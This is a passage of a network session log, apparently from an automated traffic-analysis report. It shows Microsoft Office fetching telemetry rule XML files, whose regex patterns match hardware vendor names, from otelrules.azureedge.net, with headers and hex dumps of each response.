34	192.168.2.4	57433	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:01 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:01 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: eccf174e-001e-0079-238c-1512e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123401Z-15767c5fc554w2fgapsyvy8ua00000000dmg000000006823 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:01 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	57432	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:01 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:01 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 4c0632d0-601e-0097-4413-17f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123401Z-1657d5bbd48jwrqbupe3ktsx9w00000000tg00000000005d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:01 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	57430	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:01 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:01 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 831ef799-b01e-0098-7b8c-15cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123401Z-15767c5fc55gs96cphvgp5f5vc0000000dvg00000000kcee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:01 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	57434	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:01 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:01 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 92e59db7-001e-002b-6700-1799f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123401Z-1657d5bbd48brl8we3nu8cxwgn00000000vg000000005h6d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:01 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	57435	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:01 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:01 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: a2d01d3c-801e-0083-4800-17f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123401Z-1657d5bbd48brl8we3nu8cxwgn00000000x000000000090a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:01 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	57436	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:01 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:01 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4da5bf60-a01e-0070-668c-15573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123401Z-15767c5fc55whfstvfw43u8fp40000000e1g00000000pasu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:01 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	57438	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:01 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:01 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: db28b7eb-d01e-0065-5efe-16b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123401Z-1657d5bbd48jwrqbupe3ktsx9w00000000sg000000003hxh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:01 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	57437	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:01 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:01 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 151ca1e1-401e-0029-2b03-179b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123401Z-1657d5bbd482tlqpvyz9e93p5400000000mg000000004mc0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:02 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	57439	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:01 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:01 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 9bed673a-001e-0046-278c-15da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123401Z-15767c5fc554w2fgapsyvy8ua00000000dh000000000dayf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:02 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	57440	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:02 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:02 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 772ea1ab-e01e-003c-188c-15c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123402Z-15767c5fc55rg5b7sh1vuv8t7n0000000eag00000000es5w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:02 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	57442	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:02 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:02 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: c5dbf9be-001e-0017-2cf1-160c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123402Z-1657d5bbd48xlwdx82gahegw4000000000ng00000000f1q0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:02 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	57441	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:02 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:02 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 3a0dcc46-601e-0032-6c8c-15eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123402Z-15767c5fc55kg97hfq5uqyxxaw0000000e1000000000btef x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:02 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" 